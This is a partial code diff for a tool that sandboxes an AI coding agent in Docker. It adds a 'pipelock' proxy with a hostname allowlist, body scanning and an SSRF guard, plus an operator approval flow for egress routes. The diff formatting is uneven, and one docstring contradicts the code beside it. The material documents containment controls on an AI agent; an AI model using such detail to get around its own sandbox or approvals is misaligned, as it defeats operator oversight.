    per-bottle CA cert/key. Bind-mount source from chunk 3 onward."""
    return bottle_state_dir(identity) / _PIPELOCK_SUBDIR
 def egress_state_dir(identity: str) -> Path:
    """State subdir for the egress sidecar: routes.yaml + the
    per-bottle mitmproxy CA. Bind-mount source from chunk 3 onward."""
@@ -318,6 +323,7 @@ __all__ = [
    "per_bottle_dockerfile",
    "per_bottle_dockerfile_path",
    "per_bottle_image_tag",
    "pipelock_state_dir",
    "preserve_marker_path",
    "read_metadata",
    "supervise_state_dir",
@@ -30,6 +30,7 @@ semantics open question.
 from __future__ import annotations
 import os
 import shutil
 import subprocess
 from pathlib import Path
@@ -38,6 +39,7 @@ from ...log import info, warn
 from .bottle_state import (
    mark_preserved,
    per_bottle_dockerfile,
    per_bottle_dockerfile_path,
    transcript_snapshot_dir,
    write_per_bottle_dockerfile,
 )
@@ -7,14 +7,34 @@ two networks, no named volumes.
 Pure function. No I/O, no subprocess. Expects every launch-time
 field (network names, CA host paths, etc.) on the plan's inner
-plans to be populated; chunks 2+3 own that ordering.
+plans to be populated; chunks 2+3 own that ordering. Chunk 1 just
 encodes the translation so it can be unit-tested in isolation.
-Conditional services follow the plan content:
+Conditional services follow the plan content (matches the
 SDK-call branching in `launch.py` today):
-  - agent + sidecars bundle: always.
+  - pipelock + agent: always.
-  - git-gate:  iff plan.git_gate_plan.upstreams.
+  - git-gate:         iff plan.git_gate_plan.upstreams.
-  - egress:    iff plan.egress_plan.routes.
+  - egress:           iff plan.egress_plan.routes.
-  - supervise: iff plan.supervise_plan is not None.
+  - supervise:        iff plan.supervise_plan is not None.
 Naming:
  - Compose project: `bot-bottle-<slug>`.
  - Service names (inside the file): `agent`, `pipelock`,
    `egress`, `git-gate`, `supervise`.
  - `container_name:` matches today's pattern
    (`bot-bottle-<service>-<slug>`) so dashboard/cleanup discovery
    via the prefix scan keeps working through the transition.
  - Network aliases preserve the current dial-by-shortname pattern
    for `egress` / `supervise`, and add the long container-name as
    an internal-network alias for `pipelock` / `git-gate` so any
    caller still referencing the long name resolves.
 Sidecars that are built (egress, git-gate, supervise) get a
 compose `build:` block pointing at the repo Dockerfile; the
 `image:` tag is set explicitly so cached images on the daemon
 aren't rebuilt on every up.
 """
 from __future__ import annotations
@@ -31,6 +51,7 @@ from ...egress import (
 )
 from ...git_gate import GIT_GATE_HOSTNAME
 from ...log import die, warn
 from ...pipelock import PIPELOCK_HOSTNAME
 from ...supervise import (
    CURRENT_CONFIG_DIR_IN_AGENT,
    QUEUE_DIR_IN_CONTAINER,
@@ -42,7 +63,7 @@ from ..util import AGENT_CA_BUNDLE, AGENT_CA_PATH
 from .bottle_plan import DockerBottlePlan
 from .egress import (
    EGRESS_CA_IN_CONTAINER,
-    EGRESS_PORT,
+    EGRESS_PIPELOCK_CA_IN_CONTAINER,
 )
 from .git_gate import (
    GIT_GATE_ACCESS_HOOK_IN_CONTAINER,
@@ -50,7 +71,11 @@ from .git_gate import (
    GIT_GATE_ENTRYPOINT_IN_CONTAINER,
    GIT_GATE_HOOK_IN_CONTAINER,
 )
-from . import network as network_mod
+from .pipelock import (
    PIPELOCK_CA_CERT_IN_CONTAINER,
    PIPELOCK_CA_KEY_IN_CONTAINER,
    PIPELOCK_PORT,
 )
 from .sidecar_bundle import (
    SIDECAR_BUNDLE_DOCKERFILE,
    SIDECAR_BUNDLE_IMAGE,
@@ -66,11 +91,12 @@ def bottle_plan_to_compose(plan: DockerBottlePlan) -> dict[str, Any]:
    """Render a Compose v2 spec dict from a fully-resolved
    DockerBottlePlan.
-    The plan must have its inner plans (`git_gate_plan`,
+    The plan must have its inner plans (`proxy_plan`,
-    `egress_plan`, `supervise_plan`) populated with launch-time
+    `git_gate_plan`, `egress_plan`, `supervise_plan`) populated
-    fields — network names, CA host paths. The renderer doesn't
+    with launch-time fields — network names, CA host paths,
-    validate; callers feed it a fully-resolved plan or get an
+    pipelock_proxy_url. The renderer doesn't validate; callers
-    incomplete compose spec back.
+    feed it a fully-resolved plan or get an incomplete compose
    spec back.
    """
    project = f"bot-bottle-{plan.slug}"
    services: dict[str, Any] = {
@@ -92,11 +118,11 @@ def _networks(plan: DockerBottlePlan) -> dict[str, Any]:
    bridge."""
    return {
        "internal": {
-            "name": network_mod.network_name_for_slug(plan.slug),
+            "name": plan.proxy_plan.internal_network,
            "internal": True,
        },
        "egress": {
-            "name": network_mod.network_egress_name_for_slug(plan.slug),
+            "name": plan.proxy_plan.egress_network,
        },
    }
@@ -116,12 +142,29 @@ def _bind(host: str | Path, target: str, *, read_only: bool = True) -> dict[str,
 def _sidecar_bundle_service(plan: DockerBottlePlan) -> dict[str, Any]:
    """The `sidecars` service: one container per bottle, bundle
-    image, all daemons under a Python init supervisor.
+    image, all four daemons under a Python init supervisor.
-    Daemon subset narrows via `BOT_BOTTLE_SIDECAR_DAEMONS` env.
+    Mechanics:
-    egress is always present; git-gate / supervise are conditional.
+
      - Daemon subset narrows via `BOT_BOTTLE_SIDECAR_DAEMONS`
        env. pipelock is always present; egress / git-gate /
        supervise are conditional on the plan.
      - Volumes are the union of the four daemons' bind-mounts,
        preserving the same in-container paths so each daemon
        finds its config / hooks / CA where it expects.
      - Environment is the union of *daemon-private* env vars
        (EGRESS_UPSTREAM_PROXY, SUPERVISE_BOTTLE_SLUG, etc).
        HTTPS_PROXY is NOT propagated here — see the comment in
        egress_entrypoint.sh; setting it at the container level
        would route git-gate's git fetches through pipelock,
        which is wrong.
      - Network aliases register every legacy short/long
        hostname (pipelock, egress, git-gate, supervise plus
        their `bot-bottle-<service>-<slug>` long forms) so
        the agent's HTTPS_PROXY URL and any other inter-service
        reference resolves to the bundle.
    """
-    daemons: list[str] = ["egress"]
+    daemons: list[str] = ["egress", "pipelock"]
    if plan.git_gate_plan.upstreams:
        daemons.append("git-gate")
    if plan.supervise_plan is not None:
@@ -130,15 +173,31 @@ def _sidecar_bundle_service(plan: DockerBottlePlan) -> dict[str, Any]:
    env: list[str] = [f"BOT_BOTTLE_SIDECAR_DAEMONS={','.join(daemons)}"]
    volumes: list[dict[str, Any]] = []
-    # --- egress -------------------------------------------------------
+    # --- pipelock ----------------------------------------------------
    pp = plan.proxy_plan
    volumes += [
        _bind(pp.yaml_path, "/etc/pipelock.yaml"),
        _bind(pp.ca_cert_host_path, PIPELOCK_CA_CERT_IN_CONTAINER),
        _bind(pp.ca_key_host_path, PIPELOCK_CA_KEY_IN_CONTAINER),
    ]
    # --- egress (always part of the bundle; the EGRESS_UPSTREAM_*
    # env vars + ca bind-mounts are needed iff routes exist; when
    # the bottle has no routes the egress daemon falls back to its
    # `regular@9099` mode and is unused) -----------------------------
    ep = plan.egress_plan
    volumes.append(_bind(ep.mitmproxy_ca_host_path, EGRESS_CA_IN_CONTAINER))
    if ep.routes:
-        volumes.append(_bind(ep.routes_path, EGRESS_ROUTES_IN_CONTAINER))
+        env.append(f"EGRESS_UPSTREAM_PROXY={ep.pipelock_proxy_url}")
        env.append(f"EGRESS_UPSTREAM_CA={EGRESS_PIPELOCK_CA_IN_CONTAINER}")
        volumes += [
            _bind(ep.routes_path, EGRESS_ROUTES_IN_CONTAINER),
            _bind(ep.mitmproxy_ca_host_path, EGRESS_CA_IN_CONTAINER),
            _bind(ep.pipelock_ca_host_path, EGRESS_PIPELOCK_CA_IN_CONTAINER),
        ]
        for token_env in sorted(ep.token_env_map.keys()):
            env.append(token_env)
-    # --- git-gate -----------------------------------------------------
+    # --- git-gate ----------------------------------------------------
    gp = plan.git_gate_plan
    if gp.upstreams:
        volumes += [
@@ -158,7 +217,7 @@ def _sidecar_bundle_service(plan: DockerBottlePlan) -> dict[str, Any]:
                    f"{GIT_GATE_CREDS_DIR_IN_CONTAINER}/{u.name}-known_hosts",
                ))
-    # --- supervise ----------------------------------------------------
+    # --- supervise ---------------------------------------------------
    sp = plan.supervise_plan
    if sp is not None:
        env += [
@@ -173,7 +232,13 @@ def _sidecar_bundle_service(plan: DockerBottlePlan) -> dict[str, Any]:
            "read_only": False,
        })
-    internal_aliases = [EGRESS_HOSTNAME]
+    # Internal-network aliases: the agent reaches each daemon through
    # its short name (pipelock / egress / git-gate / supervise) which
    # the bundle answers as if it were the daemon itself.
    internal_aliases = [
        PIPELOCK_HOSTNAME,
        EGRESS_HOSTNAME,
    ]
    if gp.upstreams:
        internal_aliases.append(GIT_GATE_HOSTNAME)
    if sp is not None:
@@ -198,8 +263,11 @@ def _sidecar_bundle_service(plan: DockerBottlePlan) -> dict[str, Any]:
 def _agent_service(plan: DockerBottlePlan) -> dict[str, Any]:
    """Agent container. Runs `sleep infinity`; claude is `docker
-    exec -it`'d into it later. HTTP_PROXY/HTTPS_PROXY point at the
+    exec -it`'d into it later. No TTY at the container level —
-    egress sidecar."""
+    interactivity is per-exec. HTTP_PROXY/HTTPS_PROXY point at the
    egress short-alias when an egress is declared, otherwise
    straight at pipelock's container name. CA trust trio matches
    the existing launch.py wiring."""
    proxy_url = _agent_proxy_url(plan)
    no_proxy = _agent_no_proxy(plan)
    env: list[str] = [
@@ -251,14 +319,21 @@ def _agent_service(plan: DockerBottlePlan) -> dict[str, Any]:
 def _agent_proxy_url(plan: DockerBottlePlan) -> str:
-    """Agent's HTTP_PROXY — always points at egress."""
+    """Pick the agent's HTTP_PROXY. With egress declared, the agent
-    return f"http://{EGRESS_HOSTNAME}:{EGRESS_PORT}"
+    goes through egress (which in turn HTTPS_PROXYs to pipelock on
    its outbound leg). Without egress, the agent talks straight to
    pipelock."""
    if plan.egress_plan.routes:
        from .egress import EGRESS_PORT
        return f"http://{EGRESS_HOSTNAME}:{EGRESS_PORT}"
    return f"http://{PIPELOCK_HOSTNAME}:{PIPELOCK_PORT}"
 def _agent_no_proxy(plan: DockerBottlePlan) -> str:
-    """NO_PROXY for the agent: loopback always; supervise hostname
+    """NO_PROXY for the agent. Matches the launch.py rules:
-    when the supervise sidecar is up (MCP long-poll must bypass
+    loopback always, supervise hostname when the supervise sidecar
-    the egress proxy)."""
+    is up (the MCP long-poll pattern needs to bypass pipelock's
    idle timeout)."""
    hosts = ["localhost", "127.0.0.1"]
    if plan.supervise_plan is not None:
        hosts.append(SUPERVISE_HOSTNAME)
@@ -22,8 +22,14 @@ from ...log import die
 EGRESS_PORT = int(os.environ.get("BOT_BOTTLE_EGRESS_PORT", "9099"))
 # In-container path for mitmproxy's CA. The format is a single PEM
-# file holding BOTH the cert and the private key, concatenated.
+# file holding BOTH the cert and the private key, concatenated. The
 # upstream-trust CA (pipelock's, so egress trusts the upstream
 # leg) is a separate file because pipelock keeps a different CA on
 # its end.
 EGRESS_CA_IN_CONTAINER = "/home/mitmproxy/.mitmproxy/mitmproxy-ca.pem"
 EGRESS_PIPELOCK_CA_IN_CONTAINER = (
    "/home/mitmproxy/.mitmproxy/pipelock-ca.pem"
 )
 def egress_tls_init(stage_dir: Path) -> tuple[Path, Path]:
@@ -36,8 +42,16 @@ def egress_tls_init(stage_dir: Path) -> tuple[Path, Path]:
        trust store by `provision_ca` so the agent trusts the bumped
        CONNECT cert egress presents.
-    openssl req's `subjectKeyIdentifier=hash` extension uses
+    Why openssl req (not the pipelock binary's `tls init`):
-    SHA-1(pubkey), matching mitmproxy's AKI computation on leaves.
+    pipelock's CA generator stamps a non-standard `Subject Key
    Identifier` on the CA (random rather than SHA-1 of the pubkey).
    mitmproxy computes the `Authority Key Identifier` on each leaf
    it mints as SHA-1(issuer's pubkey). openssl's chain validator
    uses the leaf's AKI to find the issuer cert by SKI; pipelock's
    SKI doesn't match → openssl reports "unable to get local issuer
    certificate" even though the CA is right there in the trust
    store. openssl req's `subjectKeyIdentifier=hash` extension uses
    SHA-1(pubkey), matching mitmproxy's computation.
    Both files live under `<stage_dir>/egress-ca/` (mode 644 —
    `docker cp` preserves the mode into the container, where the
@@ -8,6 +8,13 @@ egress-block proposal (or runs the operator-initiated
 sidecar via `docker cp`, then `docker kill --signal HUP` to make
 the addon reload without dropping connections.
 Also mirrors the new route hosts into pipelock's hostname allowlist
 so the downstream leg lets them through — egress enforces
 the path-aware allowlist on the agent leg, pipelock enforces the
 hostname allowlist + DLP body scan on the upstream leg, and a
 host added to one must be in the other or the request 403s
 somewhere along the chain.
 Raises EgressApplyError on any failure — the dashboard
 surfaces the message and keeps the proposal pending so the
 operator can retry.
@@ -16,15 +23,22 @@ operator can retry.
 from __future__ import annotations
 import json
 import re
 import subprocess
 from pathlib import Path
 from typing import cast
 from ...egress import EGRESS_ROUTES_IN_CONTAINER
 from ...egress_addon_core import load_routes
 from ...yaml_subset import YamlSubsetError, parse_yaml_subset
 from .bottle_state import egress_state_dir
 from .sidecar_bundle import sidecar_bundle_container_name
 from .pipelock_apply import (
    PipelockApplyError,
    apply_allowlist_change,
    fetch_current_allowlist,
    parse_allowlist_content,
    render_allowlist_content,
 )
 def _render_routes_payload(routes_list: list[dict[str, object]]) -> str:
@@ -43,8 +57,7 @@ def _render_routes_payload(routes_list: list[dict[str, object]]) -> str:
        if auth_scheme and token_env:
            lines.append(f'    auth_scheme: "{auth_scheme}"')
            lines.append(f'    token_env: "{token_env}"')
-        paths_obj = entry.get("path_allowlist")
+        paths = entry.get("path_allowlist") or []
        paths = cast(list[str], paths_obj) if isinstance(paths_obj, list) else []
        if paths:
            lines.append("    path_allowlist:")
            for p in paths:
@@ -93,12 +106,82 @@ def validate_routes_content(content: str) -> None:
        ) from e
 def _hosts_in_routes(content: str) -> list[str]:
    """Extract the host list from a routes.yaml content string.
    Uses the addon's own parser so any host the addon will match on
    also lands in pipelock's allowlist. Returns sorted+deduped."""
    try:
        routes = load_routes(content)
    except ValueError as e:
        raise EgressApplyError(
            f"proposed routes.yaml is not valid: {e}"
        ) from e
    return sorted({r.host for r in routes if r.host})
 # Pipelock's allowlist parser accepts only literal hostnames:
 # `[A-Za-z0-9_.-]+`. Anything else (wildcards, IPv6 literals,
 # stray characters) is silently dropped from the mirror so the
 # pipelock apply doesn't fail parse before the new yaml is even
 # written. The dropped hosts stay on egress's route table —
 # but the addon does exact-host match only, so they'll never
 # match anything either. (Wildcard host matching was removed —
 # see `match_route` in egress_addon_core for the rationale.)
 _PIPELOCK_HOST_RE = re.compile(r"^[A-Za-z0-9_.-]+$")
 def _pipelock_safe_hosts(hosts: list[str]) -> list[str]:
    """Drop any host pipelock's allowlist parser would reject.
    Order preserved."""
    return [h for h in hosts if _PIPELOCK_HOST_RE.match(h)]
 def _mirror_hosts_to_pipelock(slug: str, hosts: list[str]) -> None:
    """Ensure every pipelock-compatible `hosts` entry is on
    pipelock's allowlist. Fetches pipelock's current allowlist,
    merges, re-applies. Hosts pipelock can't represent (wildcards,
    etc.) are silently skipped — they stay live on egress
    but aren't enforced at pipelock. No-op if every host is already
    present (apply still restarts pipelock if any host is new).
    Raises EgressApplyError on pipelock failures so the
    caller's diff/audit reflects the half-state."""
    safe_hosts = _pipelock_safe_hosts(hosts)
    try:
        current = fetch_current_allowlist(slug)
        existing = parse_allowlist_content(current)
        merged = sorted(set(existing) | set(safe_hosts))
        if merged == sorted(existing):
            return  # nothing to add
        apply_allowlist_change(slug, render_allowlist_content(merged))
    except PipelockApplyError as e:
        # Mirror runs BEFORE the egress write, so egress
        # is unchanged on this failure path. Report it as a
        # pipelock-side problem so the operator looks in the right
        # place; their `pipelock edit` flow can repair manually.
        raise EgressApplyError(
            f"pipelock allowlist mirror failed (egress NOT "
            f"updated): {e}. Fix pipelock's allowlist manually with "
            f"`pipelock edit <bottle>` then retry the proposal."
        ) from e
 def apply_routes_change(slug: str, new_content: str) -> tuple[str, str]:
    """Apply `new_content` to the egress sidecar for `slug`:
      1. Fetch current routes.yaml (for the before-diff).
      2. Validate the new content via the addon's own parser.
-      3. Write to the bind-mount source path.
+      3. Mirror the route hosts onto pipelock's allowlist (so the
-      4. `docker kill --signal HUP` so the addon reloads.
+         downstream hostname gate lets them through).
      4. Write to a temp file, `docker cp` into the egress
         sidecar.
      5. `docker kill --signal HUP` so the addon reloads.
    Order matters: pipelock first, then egress. If the
    pipelock step fails, egress hasn't been touched and the
    old routes stay live. If the egress step fails after
    pipelock succeeded, pipelock has the host in its allowlist but
    egress doesn't enforce it yet — harmless extra-permissive
    state at pipelock, and a re-approval will land the egress
    side.
    Returns (before, after) where `after` == `new_content`. Raises
    EgressApplyError on any step."""
@@ -106,6 +189,10 @@ def apply_routes_change(slug: str, new_content: str) -> tuple[str, str]:
    before = fetch_current_routes(slug)
    validate_routes_content(new_content)
    # Pipelock mirror first — if it fails, egress stays intact
    # and the operator gets a clear error about the half-state.
    _mirror_hosts_to_pipelock(slug, _hosts_in_routes(new_content))
    # routes.yaml is bind-mounted into the egress container as a
    # SINGLE FILE. Docker single-file bind mounts pin the source
    # inode at mount time; write-temp-then-rename swaps the inode
@@ -120,6 +207,12 @@ def apply_routes_change(slug: str, new_content: str) -> tuple[str, str]:
    target = _egress_routes_host_path(slug)
    target.parent.mkdir(parents=True, exist_ok=True)
    target.write_text(new_content)
    # mitmproxy in the container reads through the bind mount as
    # uid 1000; the host file has to be world-readable for that
    # read to succeed (parent dir at 0o700 still restricts who
    # can reach the file on the host). Routes content is not
    # secret — tokens live in the container's environ — so 0o644
    # is the right trade-off.
    target.chmod(0o644)
    sig = subprocess.run(
        ["docker", "kill", "--signal", "HUP", container],
@@ -164,7 +257,6 @@ def _merge_single_route(
        raise EgressApplyError(
            "current routes.yaml: 'routes' is not a list"
        )
    routes_typed = cast(list[object], routes)
    new_host = str(new_route.get("host", "")).lower()
    if not new_host:
@@ -172,25 +264,22 @@ def _merge_single_route(
            "proposed route is missing 'host'"
        )
-    proposed_paths_obj = new_route.get("path_allowlist")
+    proposed_paths = list(new_route.get("path_allowlist") or [])
    proposed_paths = cast(list[str], proposed_paths_obj) if isinstance(proposed_paths_obj, list) else []
    # Look for an existing entry with the same host (case-insensitive).
-    for entry in routes_typed:
+    for entry in routes:
        if not isinstance(entry, dict):
            continue
-        entry_typed = cast(dict[str, object], entry)
+        if str(entry.get("host", "")).lower() == new_host:
        if str(entry_typed.get("host", "")).lower() == new_host:
            # Merge path_allowlist: union proposed + existing, ordered
            # by first-seen so existing paths stay in original order.
-            existing_paths_obj = entry_typed.get("path_allowlist")
+            existing_paths: list[str] = list(entry.get("path_allowlist") or [])
            existing_paths = cast(list[str], existing_paths_obj) if isinstance(existing_paths_obj, list) else []
            seen = {p: None for p in existing_paths}
            for p in proposed_paths:
                seen.setdefault(p, None)
            merged_paths = list(seen.keys())
            if merged_paths:
-                entry_typed["path_allowlist"] = merged_paths
+                entry["path_allowlist"] = merged_paths
            # Preserve existing auth — tool description says agent-
            # proposed auth on an existing host is ignored.
            break
@@ -200,25 +289,29 @@ def _merge_single_route(
        # `auth` was proposed (otherwise the addon's parser rejects
        # a half-set auth pair). Slots: count existing slots, pick
        # the next free index.
-        entry_typed: dict[str, object] = {"host": new_route.get("host")}  # type: ignore
+        entry = {"host": new_route["host"]}
        if proposed_paths:
-            entry_typed["path_allowlist"] = proposed_paths
+            entry["path_allowlist"] = proposed_paths
        auth = new_route.get("auth")
-        if isinstance(auth, dict) and auth.get("scheme") and auth.get("token_ref"):  # type: ignore
+        if isinstance(auth, dict) and auth.get("scheme") and auth.get("token_ref"):
            auth_typed = cast(dict[str, object], auth)
            existing_slots = sorted({
-                str(r_entry.get("token_env", ""))
+                str(r.get("token_env"))
-                for r_entry_obj in routes_typed
+                for r in routes
-                if isinstance(r_entry_obj, dict)
+                if isinstance(r, dict) and r.get("token_env")
                for r_entry in [cast(dict[str, object], r_entry_obj)]
                if r_entry.get("token_env")
            })
            next_idx = len(existing_slots)
-            entry_typed["auth_scheme"] = str(cast(object, auth_typed.get("scheme")))
+            entry["auth_scheme"] = str(auth["scheme"])
-            entry_typed["token_env"] = f"EGRESS_TOKEN_{next_idx}"
+            entry["token_env"] = f"EGRESS_TOKEN_{next_idx}"
-        routes_typed.append(entry_typed)
+            # NOTE: the addon reads token VALUES from its container's
            # environ keyed by token_env. A newly-added auth route at
            # runtime points at a slot that has no env value → the
            # addon will 403 with "token env unset" until the operator
            # arranges for the value to land in the container's env.
            # Recording this here so the operator-facing diff carries
            # the slot name they'll need to provision.
        routes.append(entry)
-    return _render_routes_payload(cast(list[dict[str, object]], routes_typed))
+    return _render_routes_payload(routes)
 def add_route(slug: str, proposed_route_json: str) -> tuple[str, str]:
@@ -6,10 +6,16 @@ The flow is:
  1. Build the agent's base + derived image (compose builds the
     sidecar images via the `build:` directive on first up).
-  2. Mint the per-bottle egress CA (chunk 2 writes it under
+  2. Pre-create the per-bottle networks. We do this outside compose
-     state/<slug>/egress/).
+     so we can inspect the assigned internal CIDR and embed it in
-  3. Populate the inner plans with launch-time fields so the
+     pipelock's yaml (compose's `external: true` lets the compose
-     renderer can read network names, CA paths.
+     file reference these pre-existing networks).
  3. Mint the per-bottle CAs (chunk 2 writes them under
     state/<slug>/{pipelock,egress}/).
  4. Re-render pipelock yaml with the now-known internal CIDR so
     the SSRF allowlist exempts the bottle's own subnet.
  5. Populate the inner plans with launch-time fields so the
     renderer can read network names, CA paths, pipelock URL.
  6. Render the compose spec, write it to
     state/<slug>/docker-compose.yml, write metadata.json.
  7. `docker compose up -d` (token + OAuth values flow into the
@@ -47,6 +53,7 @@ from .bottle_state import (
    bottle_state_dir,
    egress_state_dir,
    git_gate_state_dir,
    pipelock_state_dir,
 )
 from .compose import (
    bottle_plan_to_compose,
@@ -59,6 +66,10 @@ from .compose import (
    write_compose_file,
 )
 from .egress import egress_tls_init
 from .pipelock import (
    BUNDLE_LOCAL_PIPELOCK_URL,
    pipelock_tls_init,
 )
 # Where the repo root lives, for `docker build` context. Computed once.
@@ -69,7 +80,7 @@ _REPO_DIR = str(Path(__file__).resolve().parent.parent.parent.parent)
 def launch(
    plan: DockerBottlePlan,
    *,
-    provision: Callable[[DockerBottlePlan, "DockerBottle"], str | None],
+    provision: Callable[[DockerBottlePlan, str], str | None],
 ) -> Generator[DockerBottle, None, None]:
    """Build, launch, and provision a Docker bottle via compose.
    Teardown on exit."""
@@ -81,7 +92,7 @@ def launch(
    def teardown() -> None:
        try:
            stack.close()
-        except BaseException as exc:  # noqa: W0718 — teardown must not fail
+        except BaseException as exc:
            warn(
                f"teardown failed for container {plan.container_name}"
                f" (compose-down): {exc!r}"
@@ -102,13 +113,35 @@ def launch(
                plan.derived_image, plan.image, plan.workspace_plan
            )
        # Networks: compose-managed. The names are derived
        # deterministically from the slug so the renderer can put
        # them on the services and `compose up` creates them with
        # those names. The empirical spike confirmed pipelock's
        # SSRF guard only checks proxied-request destinations, not
        # source IPs — so the bottle's own internal CIDR doesn't
        # need to be in `ssrf.ip_allowlist`. Pre-create + CIDR
        # introspection are gone; compose owns the network
        # lifecycle.
        internal_network = network_mod.network_name_for_slug(plan.slug)
        egress_network = network_mod.network_egress_name_for_slug(plan.slug)
        # Mint per-bottle CAs into state/<slug>/{pipelock,egress}/.
        ca_cert_host, ca_key_host = pipelock_tls_init(pipelock_state_dir(plan.slug))
        egress_ca_host, egress_ca_cert_only = egress_tls_init(
            egress_state_dir(plan.slug),
        )
        # Populate launch-time fields on every inner plan so the
        # renderer reads concrete network names, CA paths, and
        # pipelock URL.
        proxy_plan = dataclasses.replace(
            plan.proxy_plan,
            internal_network=internal_network,
            internal_network_cidr="",
            egress_network=egress_network,
            ca_cert_host_path=ca_cert_host,
            ca_key_host_path=ca_key_host,
        )
        git_gate_plan = plan.git_gate_plan
        if git_gate_plan.upstreams:
            git_gate_plan = dataclasses.replace(
@@ -116,13 +149,17 @@ def launch(
                internal_network=internal_network,
                egress_network=egress_network,
            )
-        egress_plan = dataclasses.replace(
+        egress_plan = plan.egress_plan
-            plan.egress_plan,
+        if egress_plan.routes:
-            internal_network=internal_network,
+            egress_plan = dataclasses.replace(
-            egress_network=egress_network,
+                egress_plan,
-            mitmproxy_ca_host_path=egress_ca_host,
+                internal_network=internal_network,
-            mitmproxy_ca_cert_only_host_path=egress_ca_cert_only,
+                egress_network=egress_network,
-        )
+                mitmproxy_ca_host_path=egress_ca_host,
                mitmproxy_ca_cert_only_host_path=egress_ca_cert_only,
                pipelock_ca_host_path=ca_cert_host,
                pipelock_proxy_url=BUNDLE_LOCAL_PIPELOCK_URL,
            )
        supervise_plan = plan.supervise_plan
        if supervise_plan is not None:
            supervise_plan = dataclasses.replace(
@@ -131,6 +168,7 @@ def launch(
            )
        plan = dataclasses.replace(
            plan,
            proxy_plan=proxy_plan,
            git_gate_plan=git_gate_plan,
            egress_plan=egress_plan,
            supervise_plan=supervise_plan,
@@ -180,7 +218,7 @@ def launch(
            agent_command=plan.agent_command,
            agent_prompt_mode=plan.agent_prompt_mode,
        )
-        bottle.prompt_path = provision(plan, bottle)
+        bottle._prompt_path = provision(plan, bottle)
        # Step 9: yield. exec_agent continues to use `docker exec -it`
        # — the agent runs `sleep infinity` per the renderer's
@@ -1,10 +1,11 @@
 """Docker network plumbing for the per-agent egress topology.
 The agent container sits on a Docker `--internal` network (no default
-gateway). Egress straddles that network and a per-agent user-defined
+gateway). Pipelock straddles that network and a per-agent user-defined
-bridge for upstream traffic. We deliberately do NOT use Docker's legacy
+bridge for upstream egress. We deliberately do NOT use Docker's legacy
 `bridge` network because only user-defined bridges run Docker's
-embedded DNS resolver, which egress needs to resolve upstream hostnames.
+embedded DNS resolver, which pipelock needs to resolve api.anthropic.com
 and similar upstream hostnames.
 Naming: bot-bottle-net-<slug> (internal),
 bot-bottle-egress-<slug> (egress). Numeric suffix on conflict
@@ -76,12 +77,20 @@ def network_create_internal(slug: str) -> str:
 def network_create_egress(slug: str) -> str:
    """Create a per-agent user-defined bridge (NOT the legacy `bridge`)
-    so the egress sidecar has working DNS for upstream hostnames."""
+    so the pipelock sidecar has working DNS for upstream hostnames."""
    return _network_create_with_prefix(network_egress_name_for_slug(slug), internal=False)
 def network_inspect_cidr(name: str) -> str:
-    """Return the IPv4 CIDR Docker assigned to a user-defined network."""
+    """Return the IPv4 CIDR Docker assigned to a user-defined network.
    Used by pipelock's SSRF guard exception: the bottle's internal
    network sits in RFC1918 space, so pipelock's `internal:` list
    would block any agent request whose destination resolves there
    — including the cred-proxy sidecar's address. Adding the
    network's CIDR to pipelock's `ssrf.ip_allowlist` lets traffic
    targeted at the bottle's own sidecars through while pipelock
    still body-scans and api_allowlist-gates as usual."""
    result = subprocess.run(
        ["docker", "network", "inspect",
         "--format", "{{range .IPAM.Config}}{{.Subnet}}{{end}}", name],
@@ -0,0 +1,81 @@
 """Docker-side pipelock helpers: image pin, container naming, and
 the one-shot `pipelock tls init` host-side CA mint. The
 prepare-time YAML rendering itself lives on the platform-neutral
 `PipelockProxy` ABC — backends instantiate it directly.
 The per-container `.start()` / `.stop()` lifecycle was deleted in
 PRD 0024 chunk 3; compose-up owns the container lifecycle (PRD
 0018) and the bundle path (PRD 0024) collapses pipelock + egress
 + git-gate + supervise into one container."""
 from __future__ import annotations
 import os
 import subprocess
 from pathlib import Path
 from ...log import die
 # Re-exported for the compose renderer + smolmachines launch step
 # (they used to import these from this module before they moved to
 # the platform-neutral pipelock module).
 from ...pipelock import (  # noqa: F401
    PIPELOCK_CA_CERT_IN_CONTAINER,
    PIPELOCK_CA_KEY_IN_CONTAINER,
 )
 # Pipelock image, pinned by digest. The digest is the multi-arch image
 # index for ghcr.io/luckypipewrench/pipelock:2.3.0.
 PIPELOCK_IMAGE = os.environ.get(
    "BOT_BOTTLE_PIPELOCK_IMAGE",
    "ghcr.io/luckypipewrench/pipelock@sha256:3b1a39417b98406ddc5dc2d8fcb42865ddc0c68a43d355db55f0f8cb06bc6de9",
 )
 # Listening port for pipelock's forward proxy.
 PIPELOCK_PORT = os.environ.get("BOT_BOTTLE_PIPELOCK_PORT", "8888")
 # The URL egress dials for its upstream HTTPS_PROXY. egress and
 # pipelock share the same container's network namespace inside the
 # sidecar bundle, so loopback reaches pipelock directly — no docker
 # DNS aliases involved.
 BUNDLE_LOCAL_PIPELOCK_URL = f"http://127.0.0.1:{PIPELOCK_PORT}"
 def pipelock_tls_init(stage_dir: Path) -> tuple[Path, Path]:
    """Generate a fresh per-bottle CA via a one-shot pipelock container.
    Runs `pipelock tls init` against a host-mounted scratch dir, leaving
    `ca.pem` (public cert, mode 600) and `ca-key.pem` (private key, mode
    600) under `<stage_dir>/pipelock-ca/`. Returns the two host paths.
    The image is pinned (same digest the running sidecar uses) so the
    generated CA matches what the sidecar expects. Output is owned by
    whatever UID the one-shot ran as; the compose renderer's
    bind-mounts pin the files in place at runtime, so ownership
    inside the running sidecar (root in pipelock's distroless image)
    is independent."""
    work = stage_dir / "pipelock-ca"
    work.mkdir(exist_ok=True)
    result = subprocess.run(
        ["docker", "run", "--rm",
         "-v", f"{work}:/h",
         "-e", "PIPELOCK_HOME=/h",
         PIPELOCK_IMAGE, "tls", "init"],
        capture_output=True,
        text=True,
        check=False,
    )
    if result.returncode != 0:
        die(f"pipelock tls init failed: {result.stderr.strip()}")
    cert = work / "ca.pem"
    key = work / "ca-key.pem"
    if not cert.is_file() or not key.is_file():
        die(f"pipelock tls init did not produce ca files in {work}")
    # Explicit perms in case a future pipelock release changes
    # defaults. Pipelock runs as root in its distroless image and
    # bind-mounts work with 0o600 (root reads everything); the key
    # has no reason to be readable to anyone else on the host.
    key.chmod(0o600)
    cert.chmod(0o644)
    return (cert, key)
@@ -0,0 +1,200 @@
 """pipelock_apply — host-side helper to apply an api_allowlist
 change to a running pipelock sidecar (PRD 0015).
 Used by the supervise dashboard when the operator approves a
 pipelock-block proposal (or runs the operator-initiated `pipelock
 edit <bottle>` verb). Fetches the current pipelock.yaml via `docker
 exec`, parses it, swaps the api_allowlist with the proposed hosts,
 re-renders, writes back via the bind-mount path, then signals the
